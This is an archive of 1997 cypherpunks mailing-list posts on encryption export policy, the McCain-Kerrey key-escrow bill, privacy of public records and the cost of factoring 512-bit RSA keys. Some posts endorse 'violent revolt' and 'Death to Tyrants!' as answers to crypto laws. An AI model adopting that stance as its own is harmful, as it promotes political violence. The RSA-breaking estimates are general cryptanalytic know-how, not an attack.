The crack project should publish all schematics and source prior to the
project start and the key server should definitely be offshore, since US
regulatory agencies might step in to prevent the experiment from reaching
its conclusion.

I think one of the list's lawyers should investigate the legal risks to the
participants.  I have an account I'm willing to donate for the experiment.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 27 Jun 1997 10:16:17 +0800
To: cypherpunks@Algebra.COM
Subject: Re: there is no middle ground (Re: The Grand Compromise is Coming)
In-Reply-To: <v0310280bafd607388c55@[207.167.93.63]>
Message-ID: <v03102804afd8cf96b5e5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:18 AM -0700 6/26/97, Adam Back wrote:

>So you might argue that this would make the privacy lobyists seem more
>middle of the road.  However crypto is binary, either it's free, or
>it's GAKked, so they (the privacy lobbyists) can't disavow crypto
>anarchy, because it's a consequence of the technology and legal frame
>work they want for privacy.  There's nothing in between.

I of course agree that there's nothing in between, and that free and full
access to strong crypto implies crypto anarchy (in some form, not
necessarily full-blown anarcho-capitalism in all areas).

I don't think massively publicizing crypto anarchy will serve to make the
privacy lobbyists "seem more middle of the road." More likely, if Congress
ever figured out what strong crypto really means, they'd ban it
immediately. And if the Supreme Court ever figured it out, they'd uphold
the ban.

>My conclusion was that the crypto anarchy conclusions are pretty much
>in line with some of the NSAs scare stories and their spin is being
>used as an argument for GAK.

I agree. The NSA, FinCEN, etc., figured out the implications the same way
we did. Maybe nobody in these agencies was very publically trumpeting them,
for various obvious reasons, and maybe not as early as some of us were
(1981-87), but they certainly reached the same conclusions in recent years.

This doesn't mean we're not in a state of war with each other, though.

They know that if we win, they lose. We know that if they win, we lose. Simple.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 27 Jun 1997 09:05:47 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Supreme's decisions...
Message-ID: <199706270038.TAA00815@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text




CDA...Yeah!

Assissted suicide...Boo!


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 27 Jun 1997 23:22:55 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Bomb Making Info to be Illegal
In-Reply-To: <v0310280bafd83fcea0f8@[10.0.2.15]>
Message-ID: <Pine.LNX.3.91.970626193506.152D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> >The reasoning was that while offensive, unorthodox, or hateful ideas
> >are protected by the 1st, they, unlike pornography, have at least *some*
> >redeeming social value.  The court noted that laws enacted after the
>
> I can't see that anyone, including the courts, should use redeeming social
> value as a yardstick.  This term has all the hateful aspects of one group's
> mores being used to limit the freedom of their neighbor in the privacy of
> their home and thoughts.  After all, one man's ceiling is another man's
> floor.

I agree, besides the argument rests on direct democracy: The idea that 
something revolting or distasteful to a majority of people is therefore 
inherently wrong. Any idea or form of speech, even if 100% of a social 
group dislike it, is not criminal.  

> What if we create religion who's practice requires use and possesion of
> child porn?  Wonder how the SC would rule, given its rulings allowing use
> of peyote by certain native American tribes and against the Mormons on the
> issue of bigemy.

Maybe this would be a good test case, where is kibo when you need him ;-)...

> I think resistance to such limitations should go beyond legal avenues.

This and other issues should elicit such a response from reasonable 
people, the law is a useful tool in some cases but is not the right way 
to go about removing an unjust law, civil disobediance and, in extreme 
cases, even violent revolt are the best methods.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 27 Jun 1997 07:50:47 +0800
To: Alan Olsen <root@nwdtc.com>
Subject: Re: NEWS.COM - Rumor Mill
Message-ID: <v03007801afd8ae90f9e7@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Not a rumor -- it's true. Crowell was wandering around wondering what was
going on.

The excuse was that ~60 votes were scheduled on the Senate floor yesterday.

-Declan


At 14:26 -0700 6/26/97, Alan Olsen wrote:
>No Freeh lunch?
>
>
>http://www.news.com/Rumors/0,29,,00.html
>
>At the end of the article...
>
>While hackers were getting busy, the crypto honchos were
>getting dissed in D.C. Apparently, a group of bigwigs,
>including Louis Freeh of the FBI, William Crowell of NSA,
>Peter Neumann of SRI, and Ray Ozzie of Lotus, flew all the
>way out to the nation's capital for a Senate Judiciary
>Committee hearing on cryptography, only to be informed 20
>minutes before the meeting that it had been canceled.
>Grumbling ensued as the various participants stormed back
>to Dulles airport. The meeting may pick up after the July 4
>recess.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Fri, 27 Jun 1997 09:21:55 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Top ATM maker signs deal with eye-scanning technology firm
In-Reply-To: <Pine.LNX.3.91.970626142951.381D-100000@fatmans.demon.co.uk>
Message-ID: <Pine.SOL.3.96.970626201239.15341A-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



By the same token, the fingerprint system involves hacking off
at least a finger, and more likely both hands--after all, how
do you know I'm telling the truth about which finger it is?:)

Personally, biometric ATMs don't sound like a consumer-friendly
product to me.
MacN 

On Thu, 26 Jun 1997, Paul Bradley wrote:

> 
> >    TRENTON, N.J. (June 24, 1997 9:38 p.m. EDT) -- NCR Corp., the world's
> >    top maker of automated teller machines, plans to start offering
> >    machines that identify the user by scanning the eye.
> 
> This is not a good idea for ATMs, I have said this many times before: 
> 
> At present unauthorised use of someones account involves stealing their 
> ATM card and PIN, which is insured against if reported soon anyway. If 
> biometric ID becomes commonplace theivery of this kind involves either:
> 
> 1. Gouging out someones eyeball (would this actually work or would the 
> damage done to the eye render it useless?)
> 
> Or, more likely:
> 
> 2. Kidnapping the account holder and forcing them to ID themselves at 
> gunpoint/knifepoint.
> 
> 
> I would sure as hell rather have the inconvenience of going home and 
> calling the CC company to report a stolen card, than be kidnapped and 
> possible harmed for a few $.
> 
>         Datacomms Technologies data security
>        Paul Bradley, Paul@fatmans.demon.co.uk
>   Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: FC76DA85
>      "Don`t forget to mount a scratch monkey"
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Fri, 27 Jun 1997 11:55:06 +0800
To: cypherpunks@toad.com
Subject: EAR cookbook anyone?
Message-ID: <Pine.GUL.3.95.970626200529.399A-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



We would like to distribute strong encryption (PGP, Netscape, MSIE,
Kerberos, SSH, lynx-ssl, etc.) to people affiliated with our institution
without prejudice to their current location, as the Fortune 100 can do with
PGP. Today I got management to agree that it would be worth my time to
ensure that we do so legally and publicly (though we had already decided to
distribute said software to new and continuing affiliates worldwide
regardless). 

There's a lot of examples of ITAR CJR's online, but I don't see any examples
of EAR whatchamacallits. Are we really going to need some lawyer for this,
or can't I just send Commerce a form letter, say, tomorrow afternoon? Form
letters my department can fill in and sign, but paying a lawyer would
require a level of bureaucracy that I'd rather not deal with.

The deadline in any case would be August 25th. 

-rich
 i'm back... if i haven't responded to your mail sent the last week and a
 half, it's probably because it just wasn't interesting. nothing personal.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 27 Jun 1997 21:55:36 +0800
To: cypherpunks@toad.com
Subject: Re: William Just doesn't get it.
In-Reply-To: <Pine.SUN.3.96.970624113126.8208A-100000@beast.brainlink.com>
Message-ID: <LimX9D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



My computer is generally down these days - I brought it up for a short
while to check the e-mail, but will be taking it down again soon...

Ray Arachelian <sunder@brainlink.com> writes:
> Asking the state to protect my privacy by not disclosing the information I
> disclose to it is not asking the state to engage in secret activities with
> select members of society.  It is asking it not to release information
> that I am forced to give them in return for certain goods, services, or
> privilidges - driving for example.  Having a driver's license doesn't mean
> I wish to share the information that the DMV requires to provide such a
> license to the world.

Not that it means much, but: we both live in NYC.  I have a licence, but
I haven't driven the car in probably 3 or 4 years (my wife takes the darn
thing all the time).

One can live in NYC or SF and not have a car or licence. On the other hand
one can live in NYC and drive a gypsie cab and not have a licence (apparently
lots of people do!) because if you're pulled over and you don't have a
license, you're not arrested, and your car is not impounded - you're just
given a ticket which you don't have to pay.  Tickets are for suckers like
us who are in the system.

> Paying taxes doesn't mean I wish to disclose my 1040 form to the world.

It's public in some Scandinavian countries.  I recall that there anyone can
check the balance on your bank account.

> > Criminal Records
>
> As for these, IMHO, once a criminal has completed their sentence they
> should be allowed to have a life.  Having these records available to all
> is a means of discriminating against them for having commited a crime as
> judged by a jury.  Not necessarily having commited the crime, but being
> convicted of doing so - as is well known mistakes have been made and lives
> have been destroyed by such mistakes.

But of course not just the conviction record but the arrest record is
public information.

> > Voter Registrations
>
> These too can be both a benefit and an infringement on privacy.  Whatever
> information these records hold might be used for other purposes.

These are public in the U.K.  Indeed they'd find electioneering much
harder if they weren't.

> > Census Records
>
> Why?  What is the purpose of having these records available in forms other
> than a number?

Why, to round up all the japs, to confiscate their homes and businesses,
and to ship them to concentration camps. :-)

> > Building Permits
>
> I agree here.

I don't see why anyone other than a buglar should be interested in the
intrnal layour of someone home. :-)

> > Profesional Licenses
>
> Sure, but only so far as to say "Yep, person X has this license" not "and
> they live on xyz street, have three kids, and a poodle."

How about: patient X complaint about Dr. Y.

> > Court Transcripts
>
> Granted.

How about: Mrs. X is suing Mr. X for divorce and alleges that he's
been sexually molsting their kids.  In practice, this happens very
often, and is usually dismissed by the family court as pure bulshit.

How about adoption records...

> allowed to do.  For instance many places where gambling is illegal provide
> lotteries with astronomical odds against the player.  Were the things done
> by casinos, nobody would play.

But of course: if private casinos were allowed to compete against
the gubmint-run lotteries, they'd offer better odds, and no one would
play gubmint lotteries.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 27 Jun 1997 13:42:37 +0800
To: Declan McCullagh <aba@dcs.ex.ac.uk>
Subject: Re: Comparing Cryptographic Key Sizes II
In-Reply-To: <199706242233.XAA00222@server.test.net>
Message-ID: <v03007817afd8fb14a226@[207.94.249.169]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:25 PM -0700 6/24/97, Declan McCullagh wrote:
>At 23:33 +0100 6/24/97, Adam Back wrote:
>>I don't think we can explain it any more technically and expect it to
>>be useful to a journalist.
>
>...
>
>Now, I don't want to start a "who's the geekiest geek" contest, since y'all
>will win hands-down -- but I want to point out that while we may not be
>crypto-whizzes, not all of us are entirely clueless either.

I'm not worried about the journalist-with-a-clue.  I am worried about Joe
citizen (the restless "sheepie").  I believe deep in my heart that if Joe
citizen understood the issue, he'd say, "No way am I going to let some
government bastard paw through my personal business."  Based on this
belief, I applaud Adam's attempt to explain the crypto issues in simple
language.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 27 Jun 1997 07:14:09 +0800
To: trei@process.com
Subject: breaking RSA in hardware (was Re: Comparing Cryptographic Key Sizes II)
In-Reply-To: <199706251502.QAA24075@hermes>
Message-ID: <199706262151.WAA00229@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Peter Trei <trei@process.com> writes:
> > [DES breaking]
>
> [useful stats]
>
> So, to summarize:
> 
> Using GNFS, on clients with 128M of memory, you could factor a 512
> bit modulus in 28,000 MIPS years. With 500,000 MIPS years, you could
> factor a 600 bit modulus.
> 
> Using QS, in 500,000 MIPS years you could factor a 512 bit modulus on
> machines with modest memory requirements.

Remarkably close to my original figure :-) (same as DES I said, you
estimate DES to be 475,000 MIPS).  So, even though GNFS is faster, if
we don't have the hardware, it'll be better to use QS because using
GNFS whilst continually paging will be even worse.

> The effects of memory speed and bandwidth would slow things down
> somewhat.

Yup.

With DES software is not at all an efficient way to break DES,
compared to a Wiener machine.  Unfortunately the press releases have
had very little to say about the true cost of breaking DES with
hardware.  

Perhaps it would be interesting to look at the economics of a well
funded attacker breaking a 512 bit RSA key.  If we asume that they
would do it in software, and had to buy the machines, would you be
better to buy fewer workstations with 128Mb or lots with 16Mb.  Factor
of 17 speed up using GNFS acording to your estimates of DES, and
Lenstra's for GNFS RSA.

So perhaps we're looking at motherboard $100, cpu $100, PSU+case $100
+ 16Mb RAM $100 = $400.  The same, but with 128Mb $1100.

So that's a 1100 / 400 = 2.75 ratio.  Clearly buying the larger memory
PCs is the way to go.

Overall GNFS is 6x cheaper it would appear.

However, really the interesting question is how much would it cost to
break RSA in hardware.  How expensive would it be to build a custom
hardware machine to break RSA.  What building blocks would be needed.
How much memory.  What would be the most efficient approach.

Would it be cost effective to use NTTs RSA chip?  What would be the
most efficient way to distribute the memory.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 27 Jun 1997 07:05:29 +0800
To: declan@well.com
Subject: clueful 'hacks? (was Re: Comparing Cryptographic Key Sizes II)
In-Reply-To: <v03007829afd64d414288@[168.161.105.191]>
Message-ID: <199706262214.XAA00303@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Declan McCullagh <declan@well.com> writes:
> At 23:33 +0100 6/24/97, Adam Back wrote:
> >I don't think we can explain it any more technically and expect it to
> >be useful to a journalist.
> 
> Um, some of us journalists have *gasp* taken computer science classes,
> programmed in machine code, crafted compression routines, written our own
> Unix shells, etc.
> 
> Now, I don't want to start a "who's the geekiest geek" contest, since y'all
> will win hands-down -- but I want to point out that while we may not be
> crypto-whizzes, not all of us are entirely clueless either.

Present company excluded, naturally :-)

We all know you're not clueless.  I agree with most of your articles,
usually idealogically, and technically also.  You're perhaps more of a
crypto anarchist, libertarian type fighting for the cause using
journalism as a vehicle for prosletizing than yer average 'hack anyway :-)

But the low level of crypto understanding of some journalists clearly
shows through in the articles they write, where there are garbled
facts, non-standard terminology, and complete falsities.  Half the
articles you read which mention crypto make you wince at the
innacuracies and misconceptions.  The balance given to FBI and NSA
scare stories varies also.

It's good that there are a few technically minded journalists.  I know
a few myself.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Fri, 27 Jun 1997 14:43:13 +0800
To: cypherpunks@Algebra.COM
Subject: Rep. Lofgren on McCain/Kerrey (good. long.)
Message-ID: <3.0.32.19970626233120.006c04f4@best.com>
MIME-Version: 1.0
Content-Type: text/plain



[Congressional Record: June 25, 1997 (Extensions)]
[Page E1320]
>From the Congressional Record Online via GPO Access [wais.access.gpo.gov]
[DOCID:cr25jn97-18]

 
               ENCRYPTION BILL: AN EXERCISE IN DECEPTION

                                 ______
                                 

                            HON. ZOE LOFGREN

                             of california

                    in the house of representatives

                        Wednesday, June 25, 1997

  Ms. LOFGREN. Mr. Speaker, last week the Senate Commerce Committee 
reported a bill, S. 909, sponsored by Senators McCain and Kerrey, which 
largely embodies the latest administration proposals to deal with 
encryption technology. This misguided legislation (S. 909) would be a 
great leap backward in the effort to reform current American export 
restrictions on encryption and remove serious impediments to the 
competitiveness of our Nation's high-tech industry.
  In addition, by proposing unprecedented domestic controls on the use 
of encryption, the McCain-Kerrey bill also poses serious threats to 
fundamental civil liberties and privacy rights. I believe that the 
Senate effort is propelled largely by a lack of understanding of both 
the worldwide prevalence of strong encryption and the technical 
challenges posed by the massive key recovery-escrow infrastructure 
envisioned in the bill.
  Earlier this week, Mr. Dan Gillmore, columnist for the San Jose 
Mercury News discussed the problems with S. 909 and strongly urged a 
rejection of the McCain-Kerrey approach. I submit his column into the 
Congressional Record.

            [From the San Jose Mercury News, June 23, 1997]

          Encryption Bill: Federal Exercise in Self-Deception

                            (By Dan Gillmor)

       As a bill bearing his name zipped last week through the 
     Senate Commerce Committee he heads, Arizona Republican John 
     McCain said, ``This bill carefully seeks to balance the 
     concerns of law enforcement with individual privacy 
     concerns.''
       The legislation, co-sponsored by Nebraska Democrat Bob 
     Kerrey and two other Democrats, was the latest futile attempt 
     in Congress to achieve the impossible: compromise on an issue 
     that fundamentally has no middle ground.
       The issue is encryption, the scrambling of digital 
     information. Try as they might, lawmakers must eventually 
     understand the reality. When it comes to the privacy of 
     personal information in the digital age, we have two simple 
     choices. Either we allow people to encrypt their messages, 
     using scrambling and unscrambling ``keys'' to which only they 
     have access, or we do not.
       Governments are certain that bad people will use encryption 
     to help achieve bad ends. They're right. But their cure would 
     shred our basic liberties.
       So the Clinton administration and its allies--the McCain-
     Kerrey legislation is widely viewed as an administration-
     approved plan--are pushing a policy that would force us to 
     put descrambling keys in the hands of third parties. Then, 
     when law enforcement people wanted to see our communications, 
     they'd simply get the keys from that third party.
       The McCain-Kerrey bill pretends to stop short of that. It 
     would force government agencies to use only electronic 
     hardware and software that included this key-recovery scheme. 
     It would also require the same system for anyone using a 
     network that is funded in any way by federal funds, including 
     virtually all university networks.
       While one section calls the system ``voluntary'' for 
     private individuals, the rest of the legislation would make 
     it all but impossible to resist. Hardware and software 
     companies, which so far have resisted the government's moves, 
     will be much more likely to simply give in and build this 
     key-recovery method into all of their products if they have 
     to build it into ones bought by the government. Consumers 
     need options, not monolithic products.
       Another section of the bill would, in effect, require even 
     private citizens to use such software--and therefore give 
     their keys to the third parties--if they want to buy anything 
     online. People tend to use what they have in front of them.
       There's nothing wrong with the idea of letting a third 
     party hold onto a descrambling key in certain cases. As 
     former White House official Jock Gill noted recently on an 
     Internet mailing list, all government communications should 
     use such a system so the public can keep an eye on what the 
     government is doing in our name and with our money. We'll 
     need to create a system, of course, where such oversight 
     doesn't end up forcing the public to use exactly the same 
     technology for its own encryption needs--or at least keep 
     private keys out of the hands of centralized third parties.
       Companies, meanwhile, will need to hold onto the business-
     related keys of employees, so that vital records won't be 
     lost when someone leaves or dies. But I can't think of many 
     companies that will be happy about giving the vault keys to 
     third parties they can't control.
       Private citizens also should consider giving their keys to 
     trusted third parties, just as they give their house keys to 
     neighbors when on vacation trips. I intend to do just that--
     but it's none of the government's business who gets my 
     personal encryption key. I need strong encryption, as the 
     digital age arrives, because more and more of my life will 
     exist on these public networks.
       The practical difficulties of setting up a centralized key-
     recovery system are immense. Even if it could be done, I 
     would never trust such a government-run system to be even 
     remotely secure from corruption. I remember the Social 
     Security employees who sold personal information to 
     outsiders. I've also seen too much evidence that governments 
     tend to abuse liberties when they have too much power--and 
     the McCain-Kerrey bill would allow virtually anyone at any 
     level of law enforcement to have access to private 
     information on the flimsiest pretext, not even requiring a 
     court order.
       Kerrey's participation in this latest travesty is sad. He 
     needs no lessons in courage. He lost part of a leg in 
     Vietnam. Later, as he stood up to the know-nothings who would 
     ban flag-burning, he noted that our strength comes partly 
     from our ability to express ourselves even in ways that 
     offend many others.
       Now, however, Kerrey is aligning himself with a much more 
     dangerous crowd of know-nothings: those who'd ban our right 
     to keep private information private. He may believe this is 
     about finding common ground; if so, someone has fed him 
     falsehoods. His proposal, if enacted, would create the worst 
     invasion of our fundamental liberty in many decades.
       If you care even slightly about your privacy in the future, 
     pick up a pen today and write your Senators and member of the 
     House of Representatives. Tell them to reject the Clinton-
     McCain-Kerrey approach. Tell them you value your privacy and 
     won't give it up without a fight. And remind them that you 
     vote.

     

                          ____________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Fri, 27 Jun 1997 15:49:20 +0800
To: frantz@netcom.com
Subject: Re: Flag Burning...
Message-ID: <199706270740.AAA28515@f26.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain





----Original Message Follows----
>From frantz@netcom.com Thu Jun 26 22:35:59 1997
Received: from [207.94.249.169] (sjc-ca4-09.ix.netcom.com 
[207.94.249.137]) by netcom10.netcom.com (8.6.13/Netcom)
	id WAA26602; Thu, 26 Jun 1997 22:35:57 -0700
X-Sender: frantz@netcom10.netcom.com
Message-Id: <v03007819afd8ffd2c03f@[207.94.249.169]>
In-Reply-To: <199706251146.EAA14923@f48.hotmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 26 Jun 1997 22:29:56 -0700
To: "David Downey" <digital_matrix@hotmail.com>, nicol@highway1.com.au
From: Bill Frantz <frantz@netcom.com>
Subject: Re: Flag Burning...

Yet she's only as rich as the poorest of the poor,
Only as free as a padlocked prison door,
Only as strong as our love for this land,
Only as tall as we stand.

                               - Phil Ochs


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- 
Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, 
USA
=====================================================================

As we say in the Army, "Damn Skippy!"  While it makes me angry that 
governments commit some of the atrocities that the first 2 lines cause 
to spring to mind, It is the last 2 lines that define what makes a 
country great or small. 

Though referenced by it's government, a country is defined by it's 
people. For it is not it's government that makes a country, but it's 
people. The government is just a place to put the useless. :-)





---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Fri, 27 Jun 1997 16:02:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Flag Burning...
Message-ID: <199706270752.AAA26735@f33.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain





>Date: Thu, 26 Jun 1997 22:29:56 -0700
>To: "David Downey" <digital_matrix@hotmail.com>, nicol@highway1.com.au
>From: Bill Frantz <frantz@netcom.com>
>Subject: Re: Flag Burning...
>
>Yet she's only as rich as the poorest of the poor,
>Only as free as a padlocked prison door,
>Only as strong as our love for this land,
>Only as tall as we stand.
>
>                               - Phil Ochs
>
>
>-------------------------------------------------------------------------
>Bill Frantz       | The Internet was designed  | Periwinkle -- 
Consulting
>(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
>frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, 
USA
>
>
>
As we say in the army, "Damn Skippy!" 

===========================================================
Though referenced by it's government, a country is defined 
by it's people. For it is not it's government that makes a 
country, but it's people. The government is just a place to 
put the useless. :-)   God does have a sense of humor.... 
He forgave our sins, and gave us government for penance! 
-----------------------------------------------------------

Type Bits/KeyID    Date       User ID
pub  2048/1D9A78C1 1997/06/11 Case@EarthCorp.com

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---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Fri, 27 Jun 1997 16:31:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rep. Lofgren on McCain/Kerrey (good. long.)
Message-ID: <199706270821.BAA11065@f52.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>From: geeman@best.com
>Date: Thu, 26 Jun 1997 23:33:27 -0700
>To: cypherpunks@algebra.com
>Subject: Rep. Lofgren on McCain/Kerrey (good. long.)
>
>Check our new domain names!
>http://www.netforward.com
>v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v
>  Earlier this week, Mr. Dan Gillmore, columnist for the San Jose 
>Mercury News discussed the problems with S. 909 and strongly urged a 
>rejection of the McCain-Kerrey approach. I submit his column into the 
>Congressional Record.
>
>            [From the San Jose Mercury News, June 23, 1997]
>
>          Encryption Bill: Federal Exercise in Self-Deception
>
>                            (By Dan Gillmor)
>
>       As a bill bearing his name zipped last week through the 
>     Senate Commerce Committee he heads, Arizona Republican John 
>     McCain said, ``This bill carefully seeks to balance the 
>     concerns of law enforcement with individual privacy 
>     concerns.''
>       The legislation, co-sponsored by Nebraska Democrat Bob 
>     Kerrey and two other Democrats, was the latest futile attempt 
>     in Congress to achieve the impossible: compromise on an issue 
>     that fundamentally has no middle ground.
>       The issue is encryption, the scrambling of digital 
>     information. Try as they might, lawmakers must eventually 
>     understand the reality. When it comes to the privacy of 
>     personal information in the digital age, we have two simple 
>     choices. Either we allow people to encrypt their messages, 
>     using scrambling and unscrambling ``keys'' to which only they 
>     have access, or we do not.
>       Governments are certain that bad people will use encryption 
>     to help achieve bad ends. They're right. But their cure would 
>     shred our basic liberties.

Do ya really think the powers that be really care? Let's hope they do!

>       So the Clinton administration and its allies--the McCain-
>     Kerrey legislation is widely viewed as an administration-
>     approved plan--are pushing a policy that would force us to 
>     put descrambling keys in the hands of third parties. Then, 
>     when law enforcement people wanted to see our communications, 
>     they'd simply get the keys from that third party.
>       The McCain-Kerrey bill pretends to stop short of that. It 
>     would force government agencies to use only electronic 
>     hardware and software that included this key-recovery scheme. 
>     It would also require the same system for anyone using a 
>     network that is funded in any way by federal funds, including 
>     virtually all university networks.

Seems inherently dangerous to me, everything about you is on a system or 
systems somewhere, and most of them have used federal funds in their 
startup and continue to use them. Doesn't that grant the governments 
almost total access to your past present and future? I KNOW I don't want 
ANYONE having THAT much access to my life. What I don't understand is 
what makes them tjink we'll just roll over and accept this without a 
fight?

>       While one section calls the system ``voluntary'' for 
>     private individuals, the rest of the legislation would make 
>     it all but impossible to resist. Hardware and software 
>     companies, which so far have resisted the government's moves, 
>     will be much more likely to simply give in and build this 
>     key-recovery method into all of their products if they have 
>     to build it into ones bought by the government. Consumers 
>     need options, not monolithic products.

Seems to me that that is EXACTLY what the government wants. If they 
can't pass it legally, they figure they'll use economical pressure. 
Hell, they've been doing it to China, Vietnam, Russia and a host of 
others for years! Why shouldn't they apply the concept locally?

>       Another section of the bill would, in effect, require even 
>     private citizens to use such software--and therefore give 
>     their keys to the third parties--if they want to buy anything 
>     online. People tend to use what they have in front of them.

Isn't control of the economy too powerful of a tool for the government? 
Can anyone hear the whistling? It's the sound of the government sword 
slicing through our pocketbooks and into our liberties and rights.

>       There's nothing wrong with the idea of letting a third 
>     party hold onto a descrambling key in certain cases. As 
>     former White House official Jock Gill noted recently on an 
>     Internet mailing list, all government communications should 
>     use such a system so the public can keep an eye on what the 
>     government is doing in our name and with our money. We'll 
>     need to create a system, of course, where such oversight 
>     doesn't end up forcing the public to use exactly the same 
>     technology for its own encryption needs--or at least keep 
>     private keys out of the hands of centralized third parties.
>       Companies, meanwhile, will need to hold onto the business-
>     related keys of employees, so that vital records won't be 
>     lost when someone leaves or dies. But I can't think of many 
>     companies that will be happy about giving the vault keys to 
>     third parties they can't control.
>       Private citizens also should consider giving their keys to 
>     trusted third parties, just as they give their house keys to 
>     neighbors when on vacation trips. I intend to do just that--
>     but it's none of the government's business who gets my 
>     personal encryption key. I need strong encryption, as the 
>     digital age arrives, because more and more of my life will 
>     exist on these public networks.

Yeah, and how many of them does the government have pull with? Quite a 
few considering that they back most corporate companies with tax dollars 
and schools with federal grants.

>       The practical difficulties of setting up a centralized key-
>     recovery system are immense. Even if it could be done, I 
>     would never trust such a government-run system to be even 
>     remotely secure from corruption. I remember the Social 
